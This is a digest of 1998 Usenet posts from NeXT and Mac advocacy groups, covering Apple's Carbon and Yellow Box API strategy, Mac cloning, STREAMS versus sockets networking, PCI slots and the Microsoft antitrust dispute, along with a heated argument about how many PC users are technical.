References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca>
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John Christie wrote:
> In article <joe.ragosta-0506981532510001@wil62.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > I fully expect that Carbon will disappear some day, although it would
> > probably take at least 5 years.
>
> There is no reason Carbon cannot stay around a long time and
> potentially be moved UNDER YB.
And there is no reason that, in the long term YB as an API will not be
developed further by Apple in the future.
Forcasting what Apple is going to do is 5 years is hard. (or much of anything
for that matter in the computer industry.)
All it will take is a new plan from a new CEO.
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Arguments for STREAMS
Date: 8 Jun 1998 03:07:40 GMT
Organization: echonyc.com
Message-ID: <slrn6nmlh5.jvs.ben@ben.tapehouse.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu> <6l9a41$6ue$3@ns3.vrx.net>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <6l9a41$6ue$3@ns3.vrx.net>, Maury Markowitz wrote:
>
>3) it's API is by far the most used and supported. This means the majority
>of networking developers are very familiar with it which means potential
>porting is *easier*. The difference is that there are some Mac developers
>not familiar with it, vs. the MASSIVE numbers of Unix and Windows developers
>that are.
>
>4) WinSOCK is enough alike Sockets that again the porting issue it that much
>easier. Yes I know that is an API issue, but if developers are going to use
>that API there's no overriding reason to mess with it
Here you're talking about sockets the API, which is irrelevant because the
sockets API is supported by STREAMS.
>5) Sockets is is increadibly stable and secure, the result of massive testing
>on millions of systems for over a decade.
Here I think you're talking about the Net/3 BSD networking code, am I
right? If so, you should take care to differentiate between sockets and
the implementation with which they are traditionally identified. Sockets
is an API that is supported by both the BSD networking stack and the
STREAMS architecture.
Net/3 is well-understood and tested, but it was also written for a
different world from today's, and it contains a lot of inefficiencies.
OTOH, it has the advantages you and the fellow you were responding to
cited, except for the ones I just debunked.
--
Ben
"You have your mind on computers, it seems."
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac,comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.next,comp.sys.next.advocacy,comp.sys.next.misc
Subject: Re: Could cloining be coming back?
Date: Sun, 07 Jun 1998 11:19:08 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <357ABD7C.B65C356@milestonerdl.com>
References: <3579649C.99FB832@concentric.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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The Goldbergs wrote:
> In conclusion...
>
> ...Mac cloning may be revived!
Interesting analysis but:
1) MacOS is a niche market machine. Any cloner would have to be happy with
a %age of 4% of the overall market.
2) Any cloner would have to be content with the Apple stranglehold on
MacOS. This is a stanglehold dedicated to selling Apple branded hardware.
3) Cloners would have to be comfortable being a 'business partner' with
Apple.
Given how the last batch of Apple partners have been treated (Newton
VARS/OpenDOC/Apple VARS who were axed) how many will follow in
UMAX/Motorola/PowerComputing's footsteps?
Technology is one thing, but the politics are another. Politics are why it
won't happen.
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YellowBox on handhelds
Date: 8 Jun 1998 03:23:05 GMT
Organization: echonyc.com
Message-ID: <slrn6nmme2.jvs.ben@ben.tapehouse.net>
References: <3576c2a1.0@news.depaul.edu> <897273336.569773@monster.nlc.net.au>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <897273336.569773@monster.nlc.net.au>, Greg Alexander wrote:
>
>I don't know enough about it really - but it makes sense to me. I
>have a further related question: Now we know about MacOS X - what
>API would be put into a MacOS X Lite? (I know Unix would be tossed).
Don't be so sure. Unix has been used in a lot of embedded systems.
--
Ben
"You have your mind on computers, it seems."
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 8 Jun 1998 03:35:23 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nmmvr.3r3.sal@panix3.panix.com>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com> <35770C05.C356DEC5@nstar.net> <19980606171940596476@sdn-ts-006txhousp11.dialsprint.net> <357A106C.F94400F@nstar.net> <slrn6nm6kb.huf.sal@panix3.panix.com> <357B1C46.48EF0A3F@nstar.net>
On Sun, 07 Jun 1998 18:03:34 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
>> When have I reversed that point? And please show an example of my "word
>> lawyering"
>[laugh]
I guess you can not show it so you giggle to yourself. Do you think you
are fooling anyone? Why do you lash out with personal insults?
>> >Bah, I'm willing to bet it's closer to 5%, actually. It's not high.
>> >However, it's significant and growing.
>> That would make 95% non-technical. If that isn't a "vast majority" then
>Here we have an example of your reversals. You claimed the number was
>99.99%.
That 95% number is based on *YOUR* esitmate. Mine was 99.99% +/-2%. Mine
is based on what I've seen in my industry. Yours is based on what you've
seen. They are so close that I fail to see what you are trying to prove.
That there are a lot of techs? Sure. Plenty. That the number is growing?
The number of *all* pc users is growing.
My point was that most PC users are non-technical users. Can you understand
that?
>> I don't know what is. (looks like you have contradicted yourself again.)
>Demonstrate the contradiction. I dare you, idiot. <---- Personal insult
I am going to forward all personal insults to your sysadmin. If you can
not conduct a conversation like an adult you should log out and grow up.
I can't see why you would get so upset, and resort to petty namecalling,
over something like this.
From message: <35778C80.594E4E7@nstar.net>
Salvatore Denaro wrote:
> [...] I doubt that real percent of techs are more than 2% off
> from that estimate.
> Are you suggesting that this is not the case?
Yes.
***********************
This is the part you clipped. This is where the problem of our lack of
communication stems from:
(From message: <slrn6nepl9.ea4.sal@panix3.panix.com> )
Are you suggesting that this is not the case? And that most people who
use computers have a math/sci/eng background? That might have been the
case from the 50s to the late 70s, but since the advent of cheap small
systems (and GUIs) computers have moved outside the "glass houses" and
onto the desks and into the livingrooms of many non-techs.
***********************
You do not disagree with my statement that the *vast majority* of PC
users are non technical, yet you argue on. I don't get it. What the
is the problem? Is 2% and 5% that much of a difference? Is it worth
all this time and effort to split hairs? Is it really worth it?
>> And I don't doubt that the number of technical users is growing. But I
>> doubt it is growing faster than the total number of users.
>[laugh] If a percentage is growing, then by definition the subpopulation
>is growing more quickly than the entire population.
Not striclty true. (What are you comparing, what growth rate are you really
measuring, what are the units?)
You can not make any assumptions on the growth of the entire population,
based on changes of the rate of growth of a subpopulation. Nor can you
make any assumptions of the rate of growth of a subpopulation based on
the growth of entire population. That is, unless that subpopulation is a
random sampling of the entire population. I refer you to basic statistics.
(BTW, a subset of Sysadmins is *not* a valid random sampling of all PC
users. You can not assume that the % of Sysadmins is growing due to growth
in the total user population, nor can you assume that the rate is growth
of total number of PC users is even linked to the growth of the number of
Sysadmins)
The rate of growth of a subpopulation can be (and often is) independant
of the rate of growth of a total population. If subgroup A is growing
at 5% (in abs #'s) but the whole population is growing at 10% (in abs #'s),
then the subgroup will become a smaller and smaller group by total percent
(in terms of the total population), even while the absolute number of the
group members grows. In order to make valid statement on the growth of
a subpopulation, you need to first have a static sample sizes of the
populations and subpopulations that you are comparing.
This is going on right now in the workstation market, where the % of new
unix machines is growing slower than the whole market is growing. This is
due to the large rate of growth in the sales of new NT machines. You can
verify this on techweb.
This can also be demonstrated in the trading industry. You might want to
look derivative investments. They are based on relations of growth rates.
If what you said is true, then derivatives are not as risky as all the
brokers say they are.
If you are claiming that the subpopulation of sysadmins is growing faster
that the total population of users, I would like to hear your reason. I
have stated my belief that as computers have gotten easier to use, more
non-technical users have been able to use them. What is your reason?
> Sorry, I don't have
>a math text to back this up; my 4th grade teacher wouldn't let me keep
>it.
You might want to ask for it back. You might need it.
--
sal@panix.com
Salvatore Denaro
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 07 Jun 1998 19:09:23 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net>
In article <joe.ragosta-0506981532510001@wil62.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> I fully expect that Carbon will disappear some day, although it would
> probably take at least 5 years.
There is no reason Carbon cannot stay around a long time and
potentially be moved UNDER YB. In fact, this probably has already started
because a MacOS YB port was in the works for a while and YB is very
portable.
A High level object API programmed with Java (eventiually), an
intermediate level C++ API from Metrowerks, and the lower level procedural
API called Carbon should all be available.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Sun, 07 Jun 1998 22:25:08 +0100
Organization: EarthLink Network, Inc.
Message-ID: <357B04DC.5085@earthlink.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6lfhs4$11oq1@odie.mcleod.net>
Mime-Version: 1.0
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To: "Michelle L. Buck" <buck.erik@mcleod.net>
Michelle L. Buck wrote:
> Many companies will NOT buy any Apple product ever again even if they used to
> buy it from NeXT. Being from Apple makes it tainted.
So what does that make a Microsoft product? The Plague?
Steve
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 7 Jun 1998 22:56:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nm6kb.huf.sal@panix3.panix.com>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com> <35770C05.C356DEC5@nstar.net> <19980606171940596476@sdn-ts-006txhousp11.dialsprint.net> <357A106C.F94400F@nstar.net>
On Sat, 06 Jun 1998 23:00:44 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
>The numbers and the arguments to which they refer have been hopelessly
>muddled in this conversation by Salvatore's odd reversals and lawyerly
More personal insults?
My point has always been that the vast majority of users are non-technical.
When have I reversed that point? And please show an example of my "word
lawyering"
>Bah, I'm willing to bet it's closer to 5%, actually. It's not high.
>However, it's significant and growing.
That would make 95% non-technical. If that isn't a "vast majority" then
I don't know what is. (looks like you have contradicted yourself again.)
And I don't doubt that the number of technical users is growing. But I
doubt it is growing faster than the total number of users.
--
sal@panix.com
Salvatore Denaro
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Sun, 07 Jun 1998 18:03:34 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <357B1C46.48EF0A3F@nstar.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com> <35770C05.C356DEC5@nstar.net> <19980606171940596476@sdn-ts-006txhousp11.dialsprint.net> <357A106C.F94400F@nstar.net> <slrn6nm6kb.huf.sal@panix3.panix.com>
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NNTP-Posting-Date: 7 Jun 1998 23:08:22 GMT
Salvatore Denaro wrote:
>
> On Sat, 06 Jun 1998 23:00:44 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
> >The numbers and the arguments to which they refer have been hopelessly
> >muddled in this conversation by Salvatore's odd reversals and lawyerly
>
> More personal insults?
[laugh]
> My point has always been that the vast majority of users are non-technical.
> When have I reversed that point? And please show an example of my "word
> lawyering"
[laugh]
> >Bah, I'm willing to bet it's closer to 5%, actually. It's not high.
> >However, it's significant and growing.
>
> That would make 95% non-technical. If that isn't a "vast majority" then
Here we have an example of your reversals. You claimed the number was
99.99%.
> I don't know what is. (looks like you have contradicted yourself again.)
Demonstrate the contradiction. I dare you, idiot. <---- Personal insult
> And I don't doubt that the number of technical users is growing. But I
> doubt it is growing faster than the total number of users.
[laugh] If a percentage is growing, then by definition the subpopulation
is growing more quickly than the entire population. Sorry, I don't have
a math text to back this up; my 4th grade teacher wouldn't let me keep
it.
MJP
From: cms@macisp.net (cms)
Newsgroups: comp.sys.next.advocacy
Subject: Wanted: NeXT Email List ***
Date: Sun, 07 Jun 1998 16:41:55 -0400
Organization: CMS
Message-ID: <cms-0706981641560001@209.26.71.138>
We are looking to subscribe to a NeXT List Server...
if you know of a few..please send us email
Thank you
Richard
cms@macisp.net
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <sbZblJek9GA.127@news.powernethk.com>
Control: cancel <sbZblJek9GA.127@news.powernethk.com>
Date: 08 Jun 1998 01:42:14 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.sbZblJek9GA.127@news.powernethk.com>
Sender: tknwbvlj@hello.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Q: price and hardware supported
Date: 8 Jun 1998 02:52:46 GMT
Organization: echonyc.com
Message-ID: <slrn6nmkl7.jvs.ben@ben.tapehouse.net>
References: <1998060700355800.UAA00313@ladder03.news.aol.com>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <1998060700355800.UAA00313@ladder03.news.aol.com>, MerefBast wrote:
> Hi.
>
> I am trying to locate information on the price of NeXT (and OpenSTEP) and
>the processors that NeXT (and OpenSTEP) runs on.
You can price these at http://www.blackholeinc.com. Note that
{NeXT,OPEN}STEP run on Intel hardware (486 and up), which has widely
varying prices.
--
Ben
"You have your mind on computers, it seems."
From: nospamhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac,comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.next,comp.sys.next.advocacy,comp.sys.next.misc
Subject: Re: Could cloining be coming back?
Date: Sun, 7 Jun 1998 21:21:14 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <19980607212114321905@ts4-01.aug.com>
References: <3579649C.99FB832@concentric.net> <357ABD7C.B65C356@milestonerdl.com>
m rassbach <mark@milestonerdl.com> wrote:
> The Goldbergs wrote:
>
> > In conclusion...
> >
> > ...Mac cloning may be revived!
>
> Interesting analysis but:
>
> 1) MacOS is a niche market machine. Any cloner would have to be happy with
> a %age of 4% of the overall market.
> 2) Any cloner would have to be content with the Apple stranglehold on
> MacOS. This is a stanglehold dedicated to selling Apple branded hardware.
> 3) Cloners would have to be comfortable being a 'business partner' with
> Apple.
>
> Given how the last batch of Apple partners have been treated (Newton
> VARS/OpenDOC/Apple VARS who were axed) how many will follow in
> UMAX/Motorola/PowerComputing's footsteps?
>
> Technology is one thing, but the politics are another. Politics are why it
> won't happen.
It will intersting to see what happens when the MacROM-less-open
firmware Macs are shipped. The iMac is supposed to be MacROM-less and
OpenFirmware. CHRP may revive as a platform for Be, Amiga and (gasp) the
Mac.
--
*** To reply via email remove nospam from my return address. ***
From: pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 8 Jun 1998 05:21:24 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Message-ID: <6lfsck$1vga@yuma.ACNS.ColoState.EDU>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM>
<6j2m0f$m0c$3@ligarius.ultra.net>
<rmcassid-1105981158230001@dante.eng.uci.edu>
<6j9ac3$tnp$1@ligarius.ultra.net>
<rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu>
<tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
<35d0ab0c.360543981@news.supernews.com>
<6k6tda$omk$1@ligarius.ultra.net>
<357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
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In article <6l72if$mp9$1@news.smart.net>,
kaz@smart.net (KAZ Vorpal) writes:
> If it is bullshit to say that what hurts microsoft hurts the industry,
> then all of the attacks on Microsoft are a lie in the first place.
Is it just me, or is something wrong with the logic in that statement?
Lets see,
1) A big bully is beating up all the kids on the playground.
2) The teacher tells the bully to go to the principal's office
to have his backside paddled.
3) The bully says, "What hurts me, hurts the playground."
4) Along comes Mr. KAZ Vorpal and remonstrates the teacher and
the other students for lying about the bully.
I think Mr. KAZ Vorpal has a screw loose.
> This is ironic...the only way Microsoft could be raped by hte
> looters in Big Brotherment without hurting the industry is if
> they are not as /important/ to the industry as the rapists
> claim they are.
That is not the ONLY way. MS is hurting the industry by killing
off all competition and discouraging competitition and innovation.
Hurting MS may allow other companies to survive and bring back
competition.
> So which is it? Are they not important enough for harm to them
> to harm the industry? Or are they important enough to allegedly
> need prosecution, in which case the industry /must/ be harmed
> by their suffering.
1) False dichotomy.
2) It is MS's claim that the industry will be harmed. I personally
think they are wrong on that one, at least in the long term.
> Either everyone is "unfairly" too dependent on Microsoft, and
> will be harmed, or they are NOT unfairly dependent, and so
> prosecuting them is wrong.
False dichotomy. There is also the possibility that everyone is
"unfairly" being put out of business by MS using its OS monopoly.
> Again, the side with the contradictory arguments is probably
> the side who's wrong.
Then again, anyone who cannot think logically is doomed to be
wrong very often.
--
Larry D. Pyeatt All standard disclaimers apply.
pyeatt@cs.colostate.edu Void where prohibited.
http://www.cs.colostate.edu/~pyeatt
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: HELP NEXT NEWBIE
Date: 8 Jun 1998 11:57:17 GMT
Organization: P & L Systems
Message-ID: <6lgjit$adf$12@ironhorse.plsys.co.uk>
References: <pOnd1.124$lR2.72805@news.teleport.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mak@teleport.com
In <pOnd1.124$lR2.72805@news.teleport.com> "Mark Kronquist" wrote:
> How the heck do I launch Writenow.app? I try double clicking in the
> workspace manager...shift clicking, right clicking right left clicking....
>
You should simply double-click.
Are you leaving too much time between clicks?
Do you get any error messages at all?
Best wishes,
mmalc.
From: Mark Jackson <markdj@shell.rmi.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 8 Jun 1998 06:26:01 GMT
Organization: Rocky Mountain Internet - 1(800)-900-RMII
Message-ID: <6lg05p$7vr$1@news1.rmi.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
User-Agent: tin/pre-1.4-971106 (UNIX) (SunOS/5.5 (i86pc))
: If it is bullshit to say that what hurts microsoft hurts the industry,
: then all of the attacks on Microsoft are a lie in the first place.
:
: This is ironic...the only way Microsoft could be raped by hte
: looters in Big Brotherment without hurting the industry is if
: they are not as /important/ to the industry as the rapists
: claim they are.
:
: So which is it? Are they not important enough for harm to them
: to harm the industry? Or are they important enough to allegedly
: need prosecution, in which case the industry /must/ be harmed
: by their suffering.
They are important enough that they are a major portion of the
industry, no doubt about it.
But some other company would be more than happy to take MS's place
if they went away - so the industry would do just fine...
What was your point again?
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac,comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.next,comp.sys.next.advocacy,comp.sys.next.misc
Subject: Re: Could cloining be coming back?
Date: 7 Jun 98 23:08:59
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun7230859@slave.doubleu.com>
References: <3579649C.99FB832@concentric.net> <357aa69c.0@d2o101.telia.com>
<e2Fpubkk9GA.238@upnetnews02.moswest.msn.net>
In-reply-to: "William R. Cousert"'s message of Sun, 7 Jun 1998 12:07:31 -0700
In article <e2Fpubkk9GA.238@upnetnews02.moswest.msn.net>,
"William R. Cousert" <lcgraphics@email.msn.com> writes:
I thought the PCI standard allowed for only four slots? Is there a
new standard? If so, how many slots can you have?
As I understnad it, PCI allows for 10 "loads". I think the PCI
controller is a load, and the built-in chipset (EIDE, PCI-ISA bridge,
etc) is generally a load. Each slot takes two loads, thus you
generally get four slots. Other on-board should only require one
load, so you could put SCSI and ethernet on-board with one load
apiece.
Very well designed PC motherboards sometimes can manage another slot.
The cheaper boards can't do this reliably, though.
Also, you can use PCI bridges to add slots. Essentially the bridge
sits between two seperate PCI busses. And, of course, there's no
reason you couldn't have two seperate busses built-in.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 7 Jun 1998 23:35:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A0D422-1CA23@206.165.43.7>
References: <6lfrn8$11sa3@odie.mcleod.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
I can't comment on how PDF will handle these situations, but GX defined a
page-size for each page as part of the print document and the
resolution-independent picture-shape that defined each page's image was
simply associated with that page. If you wanted to change page-size, it
would be cropped or scaled as you directed.
The scenario was something like:
GX => GX print document => translation-to-PS/whatever.
All manipulations of the GX print image were still done using GX. While PDF
doesn't look to be nearly as robust, ease-of-manipulation-wise, as GX,
surely the situation isn't as bad as you suggest. As long as the image is
in PDF format, you should still have WYSIWYG since the QDe primitives are
basically the PDF operators. PDF => PS translation should be 100% accurate.
PDF => raster printer should also be fine. What's the specific problem
here?
Michelle L. Buck <buck.erik@mcleod.net> said:
[pdf printing architecture revealed]
>Ohhhh GOD! WYSIWYG is DEAD DEAD DEAD! How could Apple (Formerly NeXT
>be SO
>stupid!)
>
>Sample tech support comments:
>
>"Oh, you mean I can have WYSIWYG as long as I have a 5000dpi image setting
>QuickDraw printer."
>
>"What do you mean WYSIWYG, this thing does not even have the same number
>of
>lines as the on-screen representation."
>
>"I changed printers and my whole document was reformatted. I spent hours
>getting that right. PUT IT BACK"
>
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Sun, 07 Jun 1998 23:44:24 +0100
Message-ID: <macghod-0706982344290001@206.133.187.99>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6lfhs4$11oq1@odie.mcleod.net>
In article <6lfhs4$11oq1@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
> I am a long time NeXTstep/Openstep fan. Small market share has not
> historically scared me away. The difference is that my company could sell 6
> figure vertical applications for openstep. Many of our former customers
> regard the Apple purchase of NeXT as a sure sign of its death. Many
> companies will NOT buy any Apple product ever again even if they used to buy
> it from NeXT. Being from Apple makes it tainted.
Why does APple owning it "taint it"?
While Apple definitely has its bad points, I think your former customers
are way overreacting.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac,comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.next,comp.sys.next.advocacy,comp.sys.next.misc
Subject: Re: Could cloining be coming back?
Date: Sun, 07 Jun 1998 23:52:27 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0706982352270001@dialin9080.slip.uci.edu>
References: <3579649C.99FB832@concentric.net> <357aa69c.0@d2o101.telia.com> <e2Fpubkk9GA.238@upnetnews02.moswest.msn.net> <PMaeteici-0706981520140001@cc962257-a.vron1.nj.home.com>
In article <PMaeteici-0706981520140001@cc962257-a.vron1.nj.home.com>,
PMaeteici@NOSPAMaol.com (Paul McGrane) wrote:
> It's not like this is new, there have been macs out with 6 PCI slots for 3
> years already! I do remember that at least one cloner's 6 slot system was
> really two sets of 3 underneath. Not sure about how Apple's were set up.
All Apple and clone Macintosh 6 slot systems are dual busses with a bridge
chip.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 08 Jun 1998 00:11:51 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0806980011510001@dialin9080.slip.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com>
In article <357B5603.64B3977E@milestonerdl.com>, m rassbach
<mark@milestonerdl.com> wrote:
> John Christie wrote:
>
> > In article <joe.ragosta-0506981532510001@wil62.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > > I fully expect that Carbon will disappear some day, although it would
> > > probably take at least 5 years.
> >
> > There is no reason Carbon cannot stay around a long time and
> > potentially be moved UNDER YB.
>
> And there is no reason that, in the long term YB as an API will not be
> developed further by Apple in the future.
You know what. Almost any time we get a situation like this, where it
seems that Apple (or whoever) throws out two overlapping offerings that
cause great pain and suffering such that people start erecting camps and
laying down fortifications, the ultimate model ends up being neither of
the things people are fighting for. When you have two children fighting,
you gotta find a solution that keeps them in good standing with one
another.
Bob's latest wild, outlandish prediction:
YB and Carbon are *both* transitional, and expendable.
Reasons:
1) Apple can't afford to choose one over the other
2) Apple is extending *both*. They show no sign of choosing themselves, even.
3) Having your core API strongly tied to Obj-C, a language that will never
get widespread adoption is dumb. Having your core API based on procedural
crap like the Mac Toolbox (and presumably Carbon) is even more dumb.
4) Forcing developers to pick an API or to even mix-and-match is suicide.
It'll fragment the community with each group getting better or worse
support here and there.
We all know the above are true, but can't resolve it into a sense that
either Carbon will live or YB will live. So neither one will. It's the
only option, really.
People here have pointed to statements by Apple that suggest both YB and
Carbon being referenced as legacy APIs. MacOS X will introduce a new,
clean API which both YB and Carbon developers will transition to. It will
favor Java very strongly. It will be strongly cross-platform. And it will
be revolutionary in some manner (don't ask me how, 'cause I don't know).
-Bob 'reading the tea leaves again' Cassidy
From: Jim.Matthews@dartmouth.edu (Jim Matthews)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Arguments for STREAMS
Date: Mon, 08 Jun 1998 09:15:19 -0400
Organization: Dartmouth College
Message-ID: <Jim.Matthews-ya02408000R0806980915190001@news.dartmouth.edu>
